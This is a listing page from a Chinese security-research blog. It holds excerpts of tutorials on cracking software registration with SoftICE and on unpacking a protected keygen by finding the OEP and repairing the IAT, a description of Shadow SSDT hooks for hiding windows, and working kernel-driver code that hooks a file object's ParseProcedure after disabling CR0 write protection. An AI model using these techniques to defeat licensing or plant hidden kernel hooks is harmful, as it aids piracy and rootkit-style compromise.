2. 領空:這是個非常重要的概念,但是也初學者是常常不明白的地方。我們在各種各樣的破解文章裡都能看到領空這個詞,如果你搞不清楚到底程式的領空在哪裡,那麼你就不可能進入破解的大門。或許你也曾破解過某些軟體,但那只是瞎貓碰到死老鼠而已(以前我就是這樣的^_^,現在說起來都不好意思喔!)。所謂程式的領空,說白了就是程式自己的地方,也就是我們要破解的程式自己程式碼所處的位置。也許你馬上會問:我是在程式運行的時候設置的中斷點,為什麼中斷後不是在程式自己的空間呢?因為每個程式的編寫都沒有固定的模式,所以我們要在想要切入程式的時候中斷程式,就必須不依賴具體的程式設置中斷點,也就是我們設置的中斷點應該是每個程式都會用到的東西。在DOS時代,基本上所有的程式都是工作在中斷程式之上的,即幾乎所有的DOS程式都會去調用各種中斷來完成任務。但是到了WINDOWS時代,程式沒有權力直接調用中斷,WINDOWS系統提供了一個系統功能調用平臺(API),就向DOS程式以中斷程式為基礎一樣,WINDOWS程式以API為基礎來實現和系統打交道,從而各種功能,所以WINDWOS下的軟體破解其中斷點設置是以API函數為基礎的,即當程式調用某個API函數時中斷其正常運行,然後進行解密。例如在SOFTICE中設置下麵的中斷點:bpx GetDlgItemText(獲取對話方塊文本),當我們要破解的程式要讀取輸入的資料而調用GetDlgItemText時,立即被SOFTICE攔截到,從而被破解的程式停留在GetDlgItemText的程式區,而GetDlgItemText是處於WINDWOS自己管理的系統區域,如果我們擅自改掉這部分的程式碼,那就大禍臨頭了^_^!所以我們要從系統區域返回到被破解程式自己的地方(即程式的領空),才能對程式進行破解,至於怎樣看程式的領空請看前面的SOFTICE圖解。試想一下:對於每個程式都會調用的程式段,我們可能從那裡找到什麼有用的東西嗎?(怎麼樣去加密是程式自己決定的,而不是調用系統功能實現的!) 
3. API:即Application Programming Interface的簡寫,中文叫應用程式設計發展介面,是一個系統定義函數的大集合,它提供了訪問作業系統特徵的方法。 API包含了幾百個應用程式調用的函數,這些函數執行所有必須的與作業系統相關的操作,如記憶體分配、向螢幕輸出和創建視窗等,使用者的程式通過調用API介面同WINDOWS打交道,無論什麼樣的應用程式,其底層最終都是通過調用各種API函數來實現各種功能的。通常API有兩中基本形式:Win16和Win32。 Win16是原來的、API的16位版本,用於Windows 3.1;Win32是現在的、API的32位版本,用於Windows 95/98/NT/ME/2000。Win32包括了Win16,是Win16的超集合,大多數函數的名字、用法都是相同的。16位元的API函數和32位元的API函數的區別在於最後的一個字母,例如我們設置這樣的中斷點:bpx GetDlgItemText、bpx GetDlgItemTextA和bpx GetDlgItemTextW,其中 GetDlgItemText是16位元API函數,GetDlgItemTextA和GetDlgItemTextW是32位元API函數,而GetDlgItemTextA表示函數使用單字節,GetDlgItemTextW表示函數使用雙位元組。現在我們破解中常用到的是Win32單字節API函數,就是和GetDlgItemTextA類似的函數,其它的兩種(Win16 API和Win32雙位元組API函數)則比較少見。 Win32 API函數包含在動態連結程式庫(Dynamic Link Libraries,簡稱DLLs)中,即包含在kernel32.dll、user32.dll、gdi32.dll和comctl32.dll中,這就是為什麼我們要在softice中用exp=C:\windows\system\kernel32.dll等命令列將這些動態連結程式庫導入softice中的原因。因為不這樣做的話,我們就無法攔截到系統Win32 API函式呼叫了。
4. 關於程式中註冊碼的存在方式:破解過程中我們都會去找程式中將輸入的註冊碼和正確的註冊碼相比較的地方,然後通過對程式的跟蹤、分析找到正確的註冊碼。但是正確的註冊碼通常在程式中以兩種形態存在:顯式的和隱式的,對於顯式存在的註冊碼,我們可以直接在程式所處的記憶體中看到它,例如你可以直接在SOFTICE的資料視窗中看到類似"297500523"這樣存在的註冊碼(這裡是隨意寫的),對於註冊碼顯式存在的軟體破解起來比較容易;但是有些軟體的程式中並不會直接將我們輸入的註冊碼和正確的註冊碼進行比較,比如有可能將註冊碼換算成整數、或是將註冊碼拆開,然後將每一位註冊碼分開在不同的地方逐一進行比較,或者是將我們輸入的註冊碼進行某種變換,再用某個特殊的程式進行驗證等等。總之,應用程式會採取各種不同的複雜運算方式來回避直接的註冊碼比較,對於這類程式,我們通常要下功夫去仔細跟蹤、分析每個程式功能,找到加密演算法,然後才能破解它,當然這需要一定的8086彙編程式設計功底和很大的耐心與精力。 
5. 關於軟體的破解方式:本人將破解方式分為兩大類,即完全破解和暴力破解。所謂完全破解主要是針對那些需要輸入註冊碼或密碼等軟體來說的,如果我們能通過對程式的跟蹤找到正確的註冊碼,通過軟體本身的註冊功能正常註冊了軟體,這樣的破解稱之為完全破解;但如果有些軟體本身沒有提供註冊功能,只是提供試用(DEMO),或是註冊不能通過軟體本身進行(例如需要獲取另外一個專用的註冊程式,通過INTERNET的註冊等等),或者是軟體本身的加密技術比較複雜,軟體破解者的能力、精力、時間有限,不能直接得到正確的註冊碼,此時我們需要去修改軟體本身的程式碼,即人為改
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(2) 人氣(32,177)

  • 個人分類:應用層_資安研究
▲top
  • 5月 20 週五 201122:57
  • 新手學習脫殼的入門篇

前  言  
細細回憶,學習Crack技術已經快2個月了,期間我學會的東西遠比我以前任何一年內學的東西都多(專指電腦程式及系統瞭解情況)  
說到學脫殼也是最近一個月的時間,開始總是到處詢問學習脫殼的方法,大多的答案就是看雪老大的書,誰也沒有正面回答過.於是就自己摸索,略有一點思路,老大們估計是認為理所當然,對於我們小菜來說還是說白了比較合適.  
在這裡我就班門弄斧一回,其實主要也是幫助一些朋友能更快的摸到門,不至於對只會照貓畫虎,這些也是我當初我想問的那些問題的答案,都是些很基礎的東西,說得不好還請高手指正.  
在此感謝看雪老大提供了如此之好論壇供大家學習交流,還寫了一本很好的書指導像我這樣的菜鳥,也感謝網上眾多高手貢獻出自己的脫殼手記,特別感謝heXer老大對本菜鳥的細心指點!  
順便說一句,脫殼特別需要的是興趣和耐心,如果沒有耐心就......;)  
廢話了一堆,我們下面進入正題:)  
結合娃娃Wom的新KG說說一般面對一個殼的簡單分析方法  
一、找OEP  
脫殼的一般流程是:查殼->尋找OEP->Dump->修復  
查殼沒什麼好說的,FI和PEiD,不幸的是FI和PEiD都不能識別出這個殼:)  
我找OEP的一般思路如下:  
    先看殼是加密殼還是壓縮殼,壓縮殼相對來說容易些,一般是沒有異常,找到對應的popad後就能到入口,跳到入口的方式一般為  
1、    jmp OEP  
2、    push OEP  
      ret  
3、    call OEP  
當然也有其他的,如 je OEP等等,一般都是段之間的大跳轉,OD的反彙編視窗裡都是同一個段的內容,所以更好區別是否是段間跳轉  
    『這裡我說說關於F8(Step Over)和F7(Step in)的一般方法,粗跟的時候一般都是常用F8走,但是有些call是變形的Jmp,此時就需要F7代過,區別是否是變形Jmp的一個簡單方法是比較call的目標位址和當前位址,如果兩者離的很近,一般就是變形Jmp了,用F7走 』  
    對於加密殼,我的方法一般是用OD載入,鉤掉所有異常(不忽略任何異常,有時由於異常過多可以適當忽略一些異常),運行,數著用了多少次Shift+F9程式運行,顯然最後一次異常後,程式會從殼跳到OEP開始執行,這就是我們尋找OEP的一個關鍵,而對於這個殼可知是加密殼,Shift+F9 16次後運行,重來,Shift+F1 15次後到這  
0042CBD3  ^73 DC              jnb short kill_luj.0042CBB1  
0042CBD5    CD 20              int 20  
0042CBD7    64:67:8F06 0000    pop dword ptr fs:[0]  <---這裡  
一般的處理方法是找到pop fs:[0]處下中斷點或者是[esp+4]處下中斷點,如果學習一下SEH的處理會更好些  
0012FF58  0012FFE0  Pointer to next SEH record  
0012FF5C  0042CBB7  SE handler            <---這裡一般包含Anti-Debug的代碼  
0012FF60  0042CB8A  RETURN to kill_luj.0042CB8A from kill_luj.0042CB90  
我首選第一種,在0042CBD7處下斷之後,耐心的用F7走,因為變形call太多了...,關鍵注意一下往回跳的跳轉,尋找合適的位置跳出迴圈,有耐心的話你就能這樣走到OEP了;)  
當然你也可以用另一個好東西——Trace,在Command裡來個tc eip<42b000  (42b000是當前段的起始位置,捲軸拖到最上面就能看到了,一般程式編譯的基底位址為400000),OK,稍等一會我們就會停在這了(如果是ASPr可能要幾分鐘了)  
00419F68    55                push ebp            <----停在這  
00419F69    8BEC              mov ebp, esp  
00419F6B    83C4 F0            add esp, -10  
呵呵,OEP找到了;)  
當然,這個用PEiD就能找到OEP,比較一下,是不是一樣:D,對於用PEiD找到的OEP可以直接G到OEP  
此時就可以Dump了,用LordPE來Dump吧,由於有Anti-Dump,所以要先Correct Imagesize一下再Dump  
二、修復IAT  
    由於加密殼對輸入表進行了重定位,所以現在的檔還不能正常使用,我們的目標就是恢復它,先用ImportREC,填入正確的OEP, IAT AutoSearch, Get Import,無效的不少,Show Invalid, 右鍵->Trace Level1(Disasm),失敗!!看來是只有自己恢復了。記下IAT的地址0001C128  
    好,重新運行,在OD的Dump視窗裡Go to Expression,到0041C128,盯著它默默數著按了多少次Shift+F9,在第13次後發現0041C128變了,而且和最後到OEP處一樣,可見剛才殼修復了IAT也順便破壞了IAT,於是我們重來,Shift+F9 12次以後按照前面說的方法跳過異常,這裡我們可以在0041C128處選擇用記憶體中斷點或硬體中斷點,如Memory, On Write, On Access,Hardware,On Access等,我用Memory On Write,在殼幾次解碼IAT以後(0041C128處變了好幾次),我們可以到這裡  
0042C7C7    60                pushad  
0042C7C8    8327 00            and dword ptr ds:[edi], 0        <----停在這  
0042C7CB    8B85 5B314000      mov eax, dword ptr ss:[ebp+40315B]  
0042C7D1    40                inc eax  
0042C7D2    0F84 A8000000      je kill_luj.0042C880           
0042C7D8    80A5 04294000 FF  and byte ptr ss:[ebp+402904], 0FF  
0042C7DF    0F84 9B000000      je kill_luj.0042C880    <----這個位址跳轉就不被破壞  
0042C7E5    80A5 05294000 FF  and byte ptr ss:[ebp+402905], 0FF  
0042C7EC    0F84 8E000000      je kill_luj.0042C880              
0042C7F2    8B85 5F314000      mov eax, dword ptr ss:[ebp+40315F]  
0042C7F8    8907              mov dword ptr ds:[edi], eax    <-----看這裡,被破壞了;)  
再看一下eax的值,  
    eax 77F525CA ntdll.DeleteCriticalSection  
很不錯的樣子:D,IAT的重定向已經找到了,正常修復IAT在哪裡呢??多跟幾回,就會發現是在這  
0042C880    61                popad        <---前面的je就是跳到這  
0042C881    3107              xor dword ptr ds:[edi], eax      <---OK,到這就好了  
0042C883    58                pop eax  
於是乎,修改je為jmp,IAT就不會被破壞了,再到OEP處用ImportREC修復就好了  
這裡我說的似乎很輕鬆,其實這些東西要靠跟出來的,下面是一些我找到的關鍵點的分析  
首次解碼IAT      0042c3ef  
解碼 Dll Name    0042c4ea ->  解碼出正確 Dll Name  
Clear dll Name     0042c645 ->  清除 Dll 的名字  
        0042c6ac ->  解碼出正確 First Thunk  
        0042c66d ->  解碼出正確 First Thunk  
最後解碼IAT    0042c693 ->  解碼出正確的RVA 指向函數名  
ReDirect          0042c7c8 ->  Import 重定向, 這裡會置0  必經路線  
        0042c7f8 ->  Import 重定向, 這裡指向殼裡  
Normal        0042c881 ->  不重定向時正常輸入表位址  
Clear Function Name 0042c88d -> 清除 函數 名字  
Repair IAT Over    0042c8fa -> BreakPoint  到這裡IAT修復完成  
解碼 dll 名的那段代碼沒仔細找;),你如果有興趣可以找找  
當然再有興趣的朋友可以自己添加代碼修復IAT,這樣就可以不用ImportREC,手動修復IAT  
一般來說殼到這就差不多了,不過也會有某些變態殼要修修補補,這就沒法說了也超出了本文的範圍了  
                後    記  
    我本人對於對於脫殼的思路大致就是如此,當然對於某些特殊殼還需要特殊待遇:D,我希望本文代給朋友的不是娃娃這個KG的殼如何脫,而是能更好的理解殼,理解如何分析殼,脫殼。也能更好的理解大俠手記裡一些不易理解的地方。例如本殼實際使telock的變形殼,如果忽略單步異常,5次Shift+F9運行,第4次按Shift+F9時就會修復和破壞IAT,從而能理解為什麼要在5-2=3次後查找IAT(這個問題我就迷茫過一陣子)  
    最後列一列我未玩過的殼,哪位大俠有相關的經驗交流交流  
      DBPE        國產精品,一直未動過,據說常會讓機器重啟……  
      SVKP        有時間玩玩  
      Armadillo    新的3.40 CopyMem II沒玩過,據說難度比以前更難了:(  
      Obsidium    分段加密的猛殼,好像還沒見過相關的手記  
      ACProtect    感覺和ASPr有點象,另一個國產精品,不過現在怎麼沒有中文的介面了?  
      這麼多沒玩過......,不寫了,沒前途  
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(6,452)

  • 個人分類:應用層_資安研究
▲top
  • 5月 19 週四 201122:33
  • 重定位程式的實現Code

學習重定位程式非常棒的範例
 
直接上Code給大家學習囉
 
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(219)

  • 個人分類:應用層_資安研究
▲top
  • 5月 19 週四 201120:46
  • Hook Shadow SSDT

網上很多文章都有關於SSDT的完整的實現,但是沒有關於Shadow SSDT的完整實現,目前最好的文章是《shadow ssdt學習筆記 by zhuwg》,我這裡的程式也很多參考了他的文章,在這裡謝謝了。我這裡給出一個hook shadow ssdt的完整實現的驅動和3層的代碼。

這裡主要是hook 了NtUserFindWindowEx,NtUserBuildHwndList,NtUserQueryWindow,NtUserGetForegroundWindow,NtUserWindowFromPoint來防止其他應用程式通過FindWindow,EnumWindow,WindowFromPoint,GetForegroundWindow這些函數來枚舉我們的視窗,不過這個程式對於GetWindowText這個東西無法防護,如果有朋友在驅動層實現了對該函數的保護,是否能一起交流呢。

關於hook的流程,看了上面zhuwg的文章,大家應該很好的瞭解了。下面的代碼也很簡單。大家隨便看看吧,通信方面,隨便使用了METHOD_NEITHER方法,這個方法不好,有問題,不過懶得改了,懂驅動的應該很容易改為BUFFERED模式吧。

在這裡謝謝給了很多幫助的各位牛人,特別是NetRoc,很細心的幫我測試。。
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(409)

  • 個人分類:驅動層_Rootkit資安研究
▲top
  • 5月 14 週六 201123:28
  • objectHook簡單介紹

3.jpg
其實這東西很多大牛多玩膩了的東西,看下論壇上比較少這類的,就來獻獻醜,科普一下 大牛們直接
可以飄過,這東西主要是自我複習一下OBJECT的一些知識,技術這東西久了不弄容易忘記,所以
拿出來跟和我一樣菜的菜鳥們分享一下。如果有不對的地方歡迎大家指正,這樣對於自己也進步得
快點,多多交流,互相學習,水準才能提高得快。
   
第一我們先看下OBJECT的組成 主要是3部分 如下圖
              
         |---------| 
             | 
附加資訊| --->  主要的幾個結構是 OBJECT_HEADER_CREATOR_INFO 創建資訊 
                              OBJECT_HEADER_NAME_INFO 
這裡面有物件名等主要資訊 
                              OBJECT_HEADER_HANDLE_INFO 
一些控制碼資訊          
         |_________|                 
             |                   | 
             | 
物件頭      |---->     一個重要的結構   OBJECT_HEADER              
             |_________|  
             |                  | 
             | OBJECT      | --->       
對象                
         |_________|  
   
我們主要看下OBJECT_HEADER這個資料結構幾個重要我成員我注釋出來

typedef struct _OBJECT_HEADER { 
  LONG PointerCount; 
  union { 
    LONG HandleCount; 
    PSINGLE_LIST_ENTRY SEntry; 
  }; 
  POBJECT_TYPE Type; //
這個很重要HOOK就靠它,物件類型結構也是一個物件,TYPE它是系統第一個創建出來的物件類型 
  UCHAR NameInfoOffset; //OBJECT_HEADER_NAME_INFO 
偏移
  UCHAR HandleInfoOffset; //OBJECT_HEADER_HANDLE_INFO 
偏移
  UCHAR QuotaInfoOffset; 
  UCHAR Flags; 
  union 
  { 
    POBJECT_CREATE_INFORMATION ObjectCreateInfo; 
    PVOID QuotaBlockCharged; 
  };
  
  PSECURITY_DESCRIPTOR SecurityDescriptor; 
  QUAD Body;//
物件本身 
} OBJECT_HEADER, *POBJECT_HEADER; 
物件類型結構
typedef struct _OBJECT_TYPE { 
  ERESOURCE Mutex; 
  LIST_ENTRY TypeList; //
佇列
  UNICODE_STRING Name; 
  PVOID DefaultObject; 
  ULONG Index; 
  ULONG TotalNumberOfObjects; 
  ULONG TotalNumberOfHandles; 
  ULONG HighWaterNumberOfObjects; 
  ULONG HighWaterNumberOfHandles; 
  OBJECT_TYPE_INITIALIZER TypeInfo; //
這個很重要,下面講這個結構
#ifdef POOL_TAGGING 
  ULONG Key; 
#endif 
} OBJECT_TYPE, *POBJECT_TYPE;
物件類型結構主要是創建物件類型比如*IoFileObjectType,*PsProcessType,*PsThreadType這些類型
系統初始化的時候第一個創建的物件類型結構就是TYPE類型結構生成物件目錄\ObjectTypes 其它後面的
比如檔物件類型就掛在\ObjectTypes\File 再比如\ObjectTypes\Device
說白點就是你要生成物件就會創建(指定)相對應的物件類型結構
 
最重要的一個資料結構
typedef struct _OBJECT_TYPE_INITIALIZER {
  USHORT Length;
  BOOLEAN UseDefaultObject;
  BOOLEAN CaseInsensitive;
  ULONG InvalidAttributes;
  GENERIC_MAPPING GenericMapping;
  ULONG ValidAccessMask;
  BOOLEAN SecurityRequired;
  BOOLEAN MaintainHandleCount;
  BOOLEAN MaintainTypeList;
  POOL_TYPE PoolType;
  ULONG DefaultPagedPoolCharge;
  ULONG DefaultNonPagedPoolCharge;
  PVOID DumpProcedure;/*
  PVOID OpenProcedure;        
這幾個函數指標就是我們最需要的
  PVOID CloseProcedure;       
這些函數都是決定你的物件的的一些
  PVOID DeleteProcedure;      
操作或者叫方法,比如打開 創建 刪除
  PVOID ParseProcedure;       
不同的物件類型(OBJECT_TYPE)操作也不同
  PVOID SecurityProcedure;    
所以要清楚的知道(OBJECT_TYPE)物件是什麼類型
  PVOID QueryNameProcedure;   
如果沒有配置系統調用的物件類型 都是用NtOpenFile
  PVOID OkayToCloseProcedure;*/
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;


這些方法何時被調用呢,我舉個例子
當你調用NtCreateFile->IoCreateFile->ObOpenObjectByName->ObpLookupObjectName->IopParseFile->IopParseDevice
IopParseFile
最終也會調用IopParseDevice
ObjectHook
其實就是比如你要HOOK 創建打開就是OBJECT_TYPE_INITIALIZER->ParseProcedure
說了一大堆廢話 上段代碼。
#include <ntddk.h>

#define OBJECT_TO_OBJECT_HEADER(o)\
      CONTAINING_RECORD((o),OBJECT_HEADER,Body)
#define CONTAINING_RECORD(address,type,field)\
      ((type*)(((ULONG_PTR)address)-(ULONG_PTR)(&(((type*)0)->field))))


typedef struct _OBJECT_TYPE_INITIALIZER {
  USHORT Length;
  BOOLEAN UseDefaultObject;
  BOOLEAN CaseInsensitive;
  ULONG InvalidAttributes;
  GENERIC_MAPPING GenericMapping;
  ULONG ValidAccessMask;
  BOOLEAN SecurityRequired;
  BOOLEAN MaintainHandleCount;
  BOOLEAN MaintainTypeList;
  POOL_TYPE PoolType;
  ULONG DefaultPagedPoolCharge;
  ULONG DefaultNonPagedPoolCharge;
  PVOID DumpProcedure;
  PVOID OpenProcedure;
  PVOID CloseProcedure;
  PVOID DeleteProcedure;
  PVOID ParseProcedure;
  PVOID SecurityProcedure;
  PVOID QueryNameProcedure;
  PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;


typedef struct _OBJECT_TYPE { 
  ERESOURCE Mutex; 
  LIST_ENTRY TypeList; 
  UNICODE_STRING Name; 
  PVOID DefaultObject; 
  ULONG Index; 
  ULONG TotalNumberOfObjects; 
  ULONG TotalNumberOfHandles; 
  ULONG HighWaterNumberOfObjects; 
  ULONG HighWaterNumberOfHandles; 
  OBJECT_TYPE_INITIALIZER TypeInfo; 
#ifdef POOL_TAGGING 
  ULONG Key; 
#endif 
} OBJECT_TYPE, *POBJECT_TYPE;

typedef struct _OBJECT_CREATE_INFORMATION { 
  ULONG Attributes; 
  HANDLE RootDirectory; 
  PVOID ParseContext; 
  KPROCESSOR_MODE ProbeMode; 
  ULONG PagedPoolCharge; 
  ULONG NonPagedPoolCharge; 
  ULONG SecurityDescriptorCharge; 
  PSECURITY_DESCRIPTOR SecurityDescriptor; 
  PSECURITY_QUALITY_OF_SERVICE SecurityQos; 
  SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; 
} OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION;



typedef struct _OBJECT_HEADER { 
  LONG PointerCount; 
  union { 
    LONG HandleCount; 
    PSINGLE_LIST_ENTRY SEntry; 
  }; 
  POBJECT_TYPE Type; 
  UCHAR NameInfoOffset; 
  UCHAR HandleInfoOffset; 
  UCHAR QuotaInfoOffset; 
  UCHAR Flags; 
  union 
  { 
    POBJECT_CREATE_INFORMATION ObjectCreateInfo; 
    PVOID QuotaBlockCharged; 
  };
  
  PSECURITY_DESCRIPTOR SecurityDescriptor; 
  QUAD Body; 
} OBJECT_HEADER, *POBJECT_HEADER;
POBJECT_TYPE pType= NULL;
POBJECT_HEADER addrs=NULL;
PVOID OldParseProcedure = NULL;


NTSTATUS NewParseProcedure(IN PVOID ParseObject,
             IN PVOID ObjectType,
             IN OUT PACCESS_STATE AccessState,
             IN KPROCESSOR_MODE AccessMode,
             IN ULONG Attributes,
             IN OUT PUNICODE_STRING CompleteName,
             IN OUT PUNICODE_STRING RemainingName,
             IN OUT PVOID Context OPTIONAL,
             IN PSECURITY_QUALITY_OF_SERVICE SecurityQos OPTIONAL,
             OUT PVOID *Object) 
{
     NTSTATUS Status;
     KdPrint(("object is hook\n"));
 
  __asm
  {
      push eax
      push Object
      push SecurityQos
      push Context
      push RemainingName
      push CompleteName
      push Attributes
      movzx eax, AccessMode
      push eax
      push AccessState
      push ObjectType
      push ParseObject
      call OldParseProcedure
      mov Status, eax
      pop eax

      
  } 
  return Status;

}
NTSTATUS Hook()
{
  NTSTATUS  Status;
  HANDLE hFile;
  UNICODE_STRING Name;
  OBJECT_ATTRIBUTES Attr;
  IO_STATUS_BLOCK ioStaBlock;
  PVOID pObject = NULL;
  
  
  RtlInitUnicodeString(&Name,L"\\Device\\HarddiskVolume1\\1.txt");
  InitializeObjectAttributes(&Attr,&Name,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE ,\
    0,NULL);
  Status = ZwOpenFile(&hFile,GENERIC_ALL,&Attr,&ioStaBlock,\
    0,FILE_NON_DIRECTORY_FILE);
  if (!NT_SUCCESS(Status))
  {
    KdPrint(("File is Null\n"));
    return Status;
  }
 
  Status = ObReferenceObjectByHandle(hFile,GENERIC_ALL,NULL,KernelMode,&pObject,NULL);
  if (!NT_SUCCESS(Status))
  {
    KdPrint(("Object is Null\n"));
    return Status;
  }
 
 KdPrint(("pobject is %08X\n",pObject));

 addrs=OBJECT_TO_OBJECT_HEADER(pObject);//
獲取對象頭


pType=addrs->Type;//
獲取物件類型結構 object-10h

KdPrint(("pType is %08X\n",pType));
OldParseProcedure = pType->TypeInfo.ParseProcedure;//
獲取服務函數原始位址OBJECT_TYPE+9C位置為打開
KdPrint(("OldParseProcedure addrs is %08X\n",OldParseProcedure));
KdPrint(("addrs is %08X\n",addrs));
//
這裡最好檢查一下OldParseProcedure ,我真的是太懶了。
__asm
  {
    cli;
    mov eax, cr0;
    and eax, not 10000h;
    mov cr0, eax;
  }
pType->TypeInfo.ParseProcedure = NewParseProcedure;//hook
  __asm
  {
    mov eax, cr0;
    or eax, 10000h;
    mov cr0, eax;
    sti;
  }
 Status = ZwClose(hFile);
  return Status;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
  NTSTATUS Status = STATUS_SUCCESS;
  Status=Hook();
  return Status;
}
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(178)

  • 個人分類:驅動層_Rootkit資安研究
▲top
«12345»